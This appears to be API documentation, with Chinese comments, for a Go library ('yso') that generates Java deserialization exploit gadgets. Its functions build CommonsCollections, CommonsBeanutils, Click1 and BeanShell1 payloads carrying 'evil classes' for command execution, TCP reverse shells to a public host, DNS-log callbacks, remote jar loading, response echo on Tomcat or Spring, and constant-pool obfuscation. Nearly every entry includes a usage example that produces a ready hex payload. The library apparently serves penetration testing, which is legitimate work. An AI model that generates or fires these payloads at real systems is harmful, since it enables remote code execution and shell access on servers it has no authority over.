func SetBytesEvilClass 

func SetBytesEvilClass(data []byte) GenClassOptionFun

SetBytesEvilClass useBytesEvilClass 请求参数选项函数，传入自定义的字节码。 data：自定义的字节码。 Example: ``` bytesCode,_ =codec.DecodeBase64(bytes) gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode)) ```

func SetClassBase64Bytes 

func SetClassBase64Bytes(base64 string) GenClassOptionFun

SetClassBase64Bytes useBase64BytesClass 请求参数选项函数，传入base64编码的字节码。 base64：base64编码的字节码。 Example: ``` gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBase64BytesClass(base64Class)) ```

func SetClassBytes 

func SetClassBytes(data []byte) GenClassOptionFun

SetClassBytes useBytesClass 请求参数选项函数，传入字节码。 data：字节码。 Example: ``` bytesCode,_ =codec.DecodeBase64(bytes) gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBytesClass(bytesCode)) ```

func SetClassDnslogTemplate 

func SetClassDnslogTemplate() GenClassOptionFun

SetClassDnslogTemplate useDnslogTemplate 请求参数选项函数，用于设置生成Dnslog类的模板，需要配合 dnslogDomain 使用。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useDnslogTemplate(),yso.dnslogDomain("dnslog.com")) ```

func SetClassHeaderEchoTemplate added in v1.2.4 

func SetClassHeaderEchoTemplate() GenClassOptionFun

SetClassHeaderEchoTemplate useHeaderEchoTemplate 请求参数选项函数，用于设置生成HeaderEcho类的模板，需要配合 useHeaderParam 使用。 自动查找Response对象并在header中回显指定内容，需要注意的是，发送此函数时生成的 Payload 时，需要设置header：Accept-Language: zh-CN,zh;q=1.9，以触发回显。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useHeaderEchoTemplate(),yso.useHeaderParam("Echo","Header Echo Check")) ```

func SetClassModifyTomcatMaxHeaderSizeTemplate 

func SetClassModifyTomcatMaxHeaderSizeTemplate() GenClassOptionFun

SetClassModifyTomcatMaxHeaderSizeTemplate useModifyTomcatMaxHeaderSizeTemplate 请求参数选项函数，用于设置生成ModifyTomcatMaxHeaderSize类的模板。 一般用于shiro利用，用于修改 tomcat 的 MaxHeaderSize 值。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useTomcatEchoEvilClass(),yso.useModifyTomcatMaxHeaderSizeTemplate()) ```

func SetClassMultiEchoTemplate 

func SetClassMultiEchoTemplate() GenClassOptionFun

SetClassMultiEchoTemplate useClassMultiEchoTemplate 请求参数选项函数，用于设置生成 MultiEcho 类的模板，主要用于 Tomcat/Weblogic 回显，需要配合 useHeaderParam 或 useEchoBody、useParam 使用。 Example: ``` body 回显 bodyClassObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useMultiEchoTemplate(),yso.useEchoBody(),yso.useParam("Body Echo Check")) header 回显 headerClassObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useMultiEchoTemplate(),yso.useHeaderParam("Echo","Header Echo Check")) ```

func SetClassName 

func SetClassName(className string) GenClassOptionFun

SetClassName evilClassName 请求参数选项函数，用于设置生成的类名。 className：要设置的类名。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.evilClassName("EvilClass")) ```

func SetClassParam added in v1.3.2 

func SetClassParam(k, v string) GenClassOptionFun

func SetClassProcessBuilderExecTemplate 

func SetClassProcessBuilderExecTemplate() GenClassOptionFun

SetClassProcessBuilderExecTemplate useProcessBuilderExecTemplate 请求参数选项函数，用于设置生成ProcessBuilderExec类的模板，需要配合 command 使用。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useProcessBuilderExecTemplate(),yso.command("whoami")) ```

func SetClassProcessImplExecTemplate 

func SetClassProcessImplExecTemplate() GenClassOptionFun

SetClassProcessImplExecTemplate useProcessImplExecTemplate 请求参数选项函数，用于设置生成ProcessImplExec类的模板，需要配合command使用。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useProcessImplExecTemplate(),yso.command("whoami")) ```

func SetClassRuntimeExecTemplate 

func SetClassRuntimeExecTemplate() GenClassOptionFun

SetClassRuntimeExecTemplate useRuntimeExecTemplate 请求参数选项函数，用于设置生成RuntimeExec类的模板，需要配合 command 使用。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useRuntimeExecTemplate(),yso.command("whoami")) ```

func SetClassSleepTemplate added in v1.2.4 

func SetClassSleepTemplate() GenClassOptionFun

SetClassSleepTemplate useSleepTemplate 请求参数选项函数，用于设置生成 Sleep 类的模板，需要配合 useSleepTime 使用，主要用与指定 sleep 时长，用于延时检测gadget。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useSleepTemplate(),yso.useSleepTime(5)) // 发送生成的 Payload 后，观察响应时间是否大于 5s ```

func SetClassSpringEchoTemplate 

func SetClassSpringEchoTemplate() GenClassOptionFun

SetClassSpringEchoTemplate useSpringEchoTemplate 请求参数选项函数，用于设置生成SpringEcho类的模板，需要配合 springHeader 或 springParam 使用。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springHeader("Echo","Echo Check")) ```

func SetClassTcpReverseShellTemplate 

func SetClassTcpReverseShellTemplate() GenClassOptionFun

SetClassTcpReverseShellTemplate useTcpReverseShellTemplate 请求参数选项函数，用于设置生成TcpReverseShell类的模板，需要配合 tcpReverseShellHost 和 tcpReverseShellPort 使用。 该参数与 useTcpReverseTemplate 的区别是，该参数生成的类会在反连成功后，执行一个反弹shell。 Example: ``` host = "公网IP" yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseShellTemplate(),yso.tcpReverseShellHost(host),yso.tcpReverseShellPort(8080)) ```

func SetClassTcpReverseTemplate 

func SetClassTcpReverseTemplate() GenClassOptionFun

SetClassTcpReverseTemplate useTcpReverseTemplate 请求参数选项函数，用于设置生成TcpReverse类的模板，需要配合 tcpReverseHost 和 tcpReversePort 使用。 还需要配合 tcpReverseToken 使用，用于是否反连成功的标志。 Example: ``` host = "公网IP" token = uuid() yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token)) ```

func SetClassTomcatEchoTemplate 

func SetClassTomcatEchoTemplate() GenClassOptionFun

SetClassTomcatEchoTemplate useTomcatEchoTemplate 请求参数选项函数，用于设置生成TomcatEcho类的模板，需要配合 useHeaderParam 或 useEchoBody、useParam 使用。 Example: ``` body 回显 bodyClassObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useTomcatEchoTemplate(),yso.useEchoBody(),yso.useParam("Body Echo Check")) header 回显 headerClassObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useTomcatEchoTemplate(),yso.useHeaderParam("Echo","Header Echo Check")) ```

func SetClassType added in v1.3.2 

func SetClassType(t ClassType) GenClassOptionFun

func SetConstruct 

func SetConstruct() GenClassOptionFun

SetConstruct useConstructorExecutor 请求参数选项函数，用于设置是否使用构造器执行。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useRuntimeExecEvilClass(command),yso.useConstructorExecutor()) ```

func SetCustomTemplate added in v1.3.2 

func SetCustomTemplate(customBytes []byte) GenClassOptionFun

func SetDnslog 

func SetDnslog(addr string) GenClassOptionFun

SetDnslog dnslogDomain 请求参数选项函数，设置指定的 Dnslog 域名，需要配合 useDnslogTemplate 使用。 addr：要设置的 Dnslog 域名。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useDnslogTemplate(),yso.dnslogDomain("dnslog.com")) ```

func SetDnslogEvilClass 

func SetDnslogEvilClass(addr string) GenClassOptionFun

SetDnslogEvilClass useDnslogEvilClass 请求参数选项函数，设置生成Dnslog类的模板，同时设置指定的 Dnslog 域名。 addr：要设置的 Dnslog 域名。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useDnslogEvilClass("dnslog.com")) ```

func SetEchoBody 

func SetEchoBody() GenClassOptionFun

SetEchoBody springEchoBody 请求参数选项函数，设置是否要在body中回显。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springRuntimeExecAction(),yso.springParam("Echo Check"),yso.springEchoBody()) ```

func SetExecAction 

func SetExecAction() GenClassOptionFun

SetExecAction springRuntimeExecAction 请求参数选项函数，设置是否要执行命令。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springRuntimeExecAction(),yso.springParam("Echo Check"),yso.springEchoBody()) ```

func SetExecCommand 

func SetExecCommand(cmd string) GenClassOptionFun

SetExecCommand command 请求参数选项函数，用于设置要执行的命令。需要配合 useRuntimeExecTemplate 使用。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.command("whoami"),yso.useRuntimeExecTemplate()) ```

func SetHeader 

func SetHeader(key string, val string) GenClassOptionFun

SetHeader springHeader 请求参数选项函数，设置指定的 header 键值对，需要配合 useSpringEchoTemplate 使用。 需要注意的是，发送此函数时生成的 Payload 时，需要设置header：Accept-Language: zh-CN,zh;q=1.9，以触发回显。 key：要设置的 header 键。 val：要设置的 header 值。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springHeader("Echo","Echo Check")) ```

func SetHeaderEchoEvilClass added in v1.2.4 

func SetHeaderEchoEvilClass() GenClassOptionFun

SetHeaderEchoEvilClass useHeaderEchoEvilClass 请求参数选项函数，设置 HeaderEcho 类，需要配合 useHeaderParam 使用。 和 useHeaderEchoTemplate 的功能一样 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useHeaderEchoEvilClass(),yso.useHeaderParam("Echo","Header Echo Check")) ```

func SetMajorVersion added in v1.3.0 

func SetMajorVersion(v uint16) GenClassOptionFun

func SetMultiEchoEvilClass 

func SetMultiEchoEvilClass() GenClassOptionFun

SetMultiEchoEvilClass useMultiEchoEvilClass 请求参数选项函数，设置 MultiEcho 类，主要用于 Tomcat/Weblogic 回显，需要配合 useHeaderParam 或 useEchoBody、useParam 使用。 和 useClassMultiEchoTemplate 的功能一样 Example: ``` body 回显 bodyClassObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useMultiEchoEvilClass(),yso.useEchoBody(),yso.useParam("Body Echo Check")) header 回显 headerClassObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useMultiEchoEvilClass(),yso.useHeaderParam("Echo","Header Echo Check")) ```

func SetObfuscation 

func SetObfuscation() GenClassOptionFun

SetObfuscation obfuscationClassConstantPool 请求参数选项函数，用于设置是否混淆类常量池。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useRuntimeExecEvilClass(command),yso.obfuscationClassConstantPool()) ```

func SetParam 

func SetParam(val string) GenClassOptionFun

SetParam springParam 请求参数选项函数，设置指定的回显值，需要配合 useSpringEchoTemplate 使用。 param：要设置的请求参数。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springParam("Echo Check")) ```

func SetProcessBuilderExecEvilClass 

func SetProcessBuilderExecEvilClass(cmd string) GenClassOptionFun

SetProcessBuilderExecEvilClass useProcessBuilderExecEvilClass 请求参数选项函数，设置生成ProcessBuilderExec类的模板，同时设置要执行的命令。 cmd：要执行的命令字符串。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useProcessBuilderExecEvilClass("whoami")) ```

func SetProcessImplExecEvilClass 

func SetProcessImplExecEvilClass(cmd string) GenClassOptionFun

SetProcessImplExecEvilClass useProcessImplExecEvilClass 请求参数选项函数，设置生成ProcessImplExec类的模板，同时设置要执行的命令。 cmd：要执行的命令字符串。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useProcessImplExecEvilClass("whoami")) ```

func SetRuntimeExecEvilClass 

func SetRuntimeExecEvilClass(cmd string) GenClassOptionFun

SetRuntimeExecEvilClass useRuntimeExecEvilClass 请求参数选项函数，设置生成RuntimeExec类的模板，同时设置要执行的命令。 cmd：要执行的命令字符串。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useRuntimeExecEvilClass("whoami")) ```

func SetSleepEvilClass added in v1.2.4 

func SetSleepEvilClass() GenClassOptionFun

SetSleepEvilClass useSleepEvilClass 请求参数选项函数，设置 Sleep 类，需要配合 useSleepTime 使用。 和 useSleepTemplate 的功能一样 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useSleepEvilClass(),yso.useSleepTime(5)) // 发送生成的 Payload 后，观察响应时间是否大于 5s ```

func SetSleepTime added in v1.2.4 

func SetSleepTime(time int) GenClassOptionFun

SetSleepTime useSleepTime 请求参数选项函数，设置指定的 sleep 时长，需要配合 useSleepTemplate 使用，主要用与指定 sleep 时长，用于延时检测gadget。 Example: ``` yso.GetCommonsBeanutils1JavaObject(yso.useSleepTemplate(),yso.useSleepTime(5)) // 发送生成的 Payload 后，观察响应时间是否大于 5s ```

func SetTcpReverseEvilClass 

func SetTcpReverseEvilClass(host string, port int) GenClassOptionFun

SetTcpReverseEvilClass useTcpReverseEvilClass 请求参数选项函数，设置生成TcpReverse类的模板，同时设置指定的 tcpReverseHost ，tcpReversePort。 相当于 useTcpReverseTemplate ，tcpReverseHost 两个个函数的组合。 host：要设置的 tcpReverseHost 的host。 port：要设置的 tcpReversePort 的port。 Example: ``` host = "公网IP" token = uuid() yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseEvilClass(host,8080),yso.tcpReverseToken(token)) ```

func SetTcpReverseHost 

func SetTcpReverseHost(host string) GenClassOptionFun

SetTcpReverseHost tcpReverseHost 请求参数选项函数，设置指定的 tcpReverseHost 域名，需要配合 useTcpReverseTemplate ，tcpReversePort 使用。 还需要配合 tcpReverseToken 使用，用于是否反连成功的标志。 host：要设置的 tcpReverseHost 的host。 Example: ``` host = "公网IP" token = uuid() yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token)) ```

func SetTcpReversePort 

func SetTcpReversePort(port int) GenClassOptionFun

SetTcpReversePort tcpReversePort 请求参数选项函数，设置指定的 tcpReversePort 域名，需要配合 useTcpReverseTemplate ，tcpReverseHost 使用。 还需要配合 tcpReverseToken 使用，用于是否反连成功的标志。 port：要设置的 tcpReversePort 的port。 Example: ``` host = "公网IP" token = uuid() yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token)) ```

func SetTcpReverseShellEvilClass 

func SetTcpReverseShellEvilClass(host string, port int) GenClassOptionFun

SetTcpReverseShellEvilClass useTcpReverseShellEvilClass 请求参数选项函数，设置生成TcpReverseShell类的模板，同时设置指定的 tcpReverseShellHost ，tcpReverseShellPort。 相当于 useTcpReverseShellTemplate ，tcpReverseShellHost，tcpReverseShellPort 三个个函数的组合。 host：要设置的 tcpReverseShellHost 的host。 port：要设置的 tcpReverseShellPort 的port。 Example: ``` host = "公网IP" yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseShellEvilClass(host,8080)) ```

func SetTcpReverseToken 

func SetTcpReverseToken(token string) GenClassOptionFun

SetTcpReverseToken tcpReverseToken 请求参数选项函数，设置指定的 token 用于是否反连成功的标志，需要配合 useTcpReverseTemplate ，tcpReverseHost ，tcpReversePort 使用。 token：要设置的 token 。 Example: ``` host = "公网IP" token = uuid() yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token)) ```

func SetTomcatEchoEvilClass 

func SetTomcatEchoEvilClass() GenClassOptionFun

SetTomcatEchoEvilClass useTomcatEchoEvilClass 请求参数选项函数，设置 TomcatEcho 类，需要配合 useHeaderParam 或 useEchoBody、useParam 使用。 和 useTomcatEchoTemplate 的功能一样 Example: ``` body 回显 bodyClassObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useTomcatEchoEvilClass(),yso.useEchoBody(),yso.useParam("Body Echo Check")) header 回显 headerClassObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useTomcatEchoEvilClass(),yso.useHeaderParam("Echo","Header Echo Check")) ```

type JavaObject 

type JavaObject struct {
	yserx.JavaSerializable
	// contains filtered or unexported fields
}

func GenerateGadget added in v1.3.2 

func GenerateGadget(name string, opts ...any) (*JavaObject, error)

GenerateGadget this is a highly flexible function that can generate a Java object by three different ways:

  1. Generate a Java object that have no any params. Example: GenerateGadget("CommonsCollections1")
  2. Generate a Java object that have one param and implement by TemplateImpl, the first param is the name of the gadget, the second param is the class name, the third param is the class param. Example: GenerateGadget("CommonsCollections2", "Sleep", "1000")
  3. Generate a Java object that have multiple params and implement by TemplateImpl, the first param is the name of the gadget, the second param is the class name, the third param is the class param map. Example: GenerateGadget("CommonsCollections2", "TcpReverseShell", map[string]string{"host": "127.0.0.1","port":"8080"})
  4. Generate a Java object that have one param and implement by TransformChain, the first param is the name of the gadget, the second param is the transform chain name, the third param is the param. Example: GenerateGadget("CommonsCollections1", "dnslog", "xxx.xx.com")
  5. Generate a Java object that have multiple params and implement by TransformChain, the first param is the name of the gadget, the second param is the transform chain name, the third param is the param map. Example: GenerateGadget("CommonsCollections1", "loadjar", map[string]string{"url": "xxx.com", "name": "exp"})
  6. Generate a Java object that implement by TemplateImpl. Example: GenerateGadget("CommonsCollections2", useRuntimeExecEvilClass("whoami"))

func GenerateTemplateImplGadget added in v1.3.2 

func GenerateTemplateImplGadget(name string, opts ...GenClassOptionFun) (*JavaObject, error)

func GetBeanShell1JavaObject 

func GetBeanShell1JavaObject(cmd string) (*JavaObject, error)

GetBeanShell1JavaObject 基于BeanShell1 序列化模板生成并返回一个Java对象。 它首先解析预定义的BeanShell1序列化模板，然后在解析出的第一个Java对象中替换预设的占位符为传入的命令字符串。 cmd：要传入Java对象的命令字符串。 返回：成功时返回修改后的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command := "ls" // 假设的命令字符串 javaObject, err := yso.GetBeanShell1JavaObject(command) gadgetBytes,_ = yso.ToBytes(javaObject) hexPayload = codec.EncodeToHex(gadgetBytes) println(hexPayload) ```

func GetClick1JavaObject 

func GetClick1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetClick1JavaObject 基于Click1 序列化模板生成并返回一个Java对象。 用户可以通过可变参数`options`提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数允许用户定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetClick1JavaObject( 

yso.useRuntimeExecEvilClass(command),
yso.obfuscationClassConstantPool(),
yso.evilClassName(className),
)

```

func GetCommonsBeanutils183NOCCJavaObject 

func GetCommonsBeanutils183NOCCJavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetCommonsBeanutils183NOCCJavaObject 基于Commons Beanutils 1.8.3 序列化模板生成并返回一个Java对象。 去除了对 commons-collections:3.1 的依赖。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetCommonsBeanutils183NOCCJavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetCommonsBeanutils192NOCCJavaObject 

func GetCommonsBeanutils192NOCCJavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetCommonsBeanutils192NOCCJavaObject 基于Commons Beanutils 1.9.2 序列化模板生成并返回一个Java对象。 去除了对 commons-collections:3.1 的依赖。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetCommonsBeanutils192NOCCJavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetCommonsBeanutils1JavaObject 

func GetCommonsBeanutils1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetCommonsBeanutils1JavaObject 基于Commons Beanutils 1 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetCommonsBeanutils1JavaObject( 

 yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
	yso.obfuscationClassConstantPool(),
	yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetCommonsCollections1JavaObject 

func GetCommonsCollections1JavaObject(cmd string) (*JavaObject, error)

GetCommonsCollections1JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数，并将该命令设置在生成的Java对象中。 cmd：要设置在Java对象中的命令字符串。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command := "ls" // 假设的命令字符串 javaObject, err := yso.GetCommonsCollections1JavaObject(command) gadgetBytes,_ = yso.ToBytes(javaObject) hexPayload = codec.EncodeToHex(gadgetBytes) println(hexPayload) ```

func GetCommonsCollections2JavaObject 

func GetCommonsCollections2JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetCommonsCollections2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetCommonsCollections2JavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetCommonsCollections3JavaObject 

func GetCommonsCollections3JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetCommonsCollections3JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetCommonsCollections3JavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetCommonsCollections4JavaObject 

func GetCommonsCollections4JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetCommonsCollections4JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetCommonsCollections4JavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetCommonsCollections5JavaObject 

func GetCommonsCollections5JavaObject(cmd string) (*JavaObject, error)

GetCommonsCollections5JavaObject 基于Commons Collections 2 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数，并将该命令设置在生成的Java对象中。 cmd：要设置在Java对象中的命令字符串。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command := "ls" // 假设的命令字符串 javaObject, _ = yso.GetCommonsCollections5JavaObject(command) gadgetBytes,_ = yso.ToBytes(javaObject) hexPayload = codec.EncodeToHex(gadgetBytes) println(hexPayload) ```

func GetCommonsCollections6JavaObject 

func GetCommonsCollections6JavaObject(cmd string) (*JavaObject, error)

GetCommonsCollections6JavaObject 基于Commons Collections 6 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数，并将该命令设置在生成的Java对象中。 cmd：要设置在Java对象中的命令字符串。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command := "ls" // 假设的命令字符串 javaObject, _ = yso.GetCommonsCollections6JavaObject(command) gadgetBytes,_ = yso.ToBytes(javaObject) hexPayload = codec.EncodeToHex(gadgetBytes) println(hexPayload) ```

func GetCommonsCollections7JavaObject 

func GetCommonsCollections7JavaObject(cmd string) (*JavaObject, error)

GetCommonsCollections7JavaObject 基于Commons Collections 7 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数，并将该命令设置在生成的Java对象中。 cmd：要设置在Java对象中的命令字符串。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command := "ls" // 假设的命令字符串 javaObject, _ = yso.GetCommonsCollections7JavaObject(command) gadgetBytes,_ = yso.ToBytes(javaObject) hexPayload = codec.EncodeToHex(gadgetBytes) println(hexPayload) ```

func GetCommonsCollections8JavaObject 

func GetCommonsCollections8JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetCommonsCollections8JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetCommonsCollections8JavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetCommonsCollectionsK1JavaObject 

func GetCommonsCollectionsK1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetCommonsCollectionsK1JavaObject 基于Commons Collections <=3.2.1 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetCommonsCollectionsK1JavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetCommonsCollectionsK2JavaObject 

func GetCommonsCollectionsK2JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

GetCommonsCollectionsK2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数`options`，用户可以提供额外的配置，这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options：用于配置Java对象的可变参数函数列表。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command = "whoami" className = "KEsBXTRS" gadgetObj,err = yso.GetCommonsCollectionsK2JavaObject( 

yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令
yso.obfuscationClassConstantPool(),
yso.evilClassName(className), // 指定恶意类的名称

) ```

func GetCommonsCollectionsK3JavaObject 

func GetCommonsCollectionsK3JavaObject(cmd string) (*JavaObject, error)

GetCommonsCollectionsK3JavaObject 基于Commons Collections K3 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数，并将该命令设置在生成的Java对象中。 cmd：要设置在Java对象中的命令字符串。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command := "ls" // 假设的命令字符串 javaObject, _ = yso.GetCommonsCollectionsK3JavaObject(command) gadgetBytes,_ = yso.ToBytes(javaObject) hexPayload = codec.EncodeToHex(gadgetBytes) println(hexPayload) ```

func GetCommonsCollectionsK4JavaObject 

func GetCommonsCollectionsK4JavaObject(cmd string) (*JavaObject, error)

GetCommonsCollectionsK4JavaObject 基于Commons Collections K4 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数，并将该命令设置在生成的Java对象中。 cmd：要设置在Java对象中的命令字符串。 返回：成功时返回生成的Java对象及nil错误，失败时返回nil及相应错误。 Example: ``` command := "ls" // 假设的命令字符串 javaObject, _ = yso.GetCommonsCollectionsK4JavaObject(command) gadgetBytes,_ = yso.ToBytes(javaObject) hexPayload = codec.EncodeToHex(gadgetBytes) println(hexPayload) ```

func GetFindClassByBombJavaObject 

func GetFindClassByBombJavaObject(className string) (*JavaObject, error)

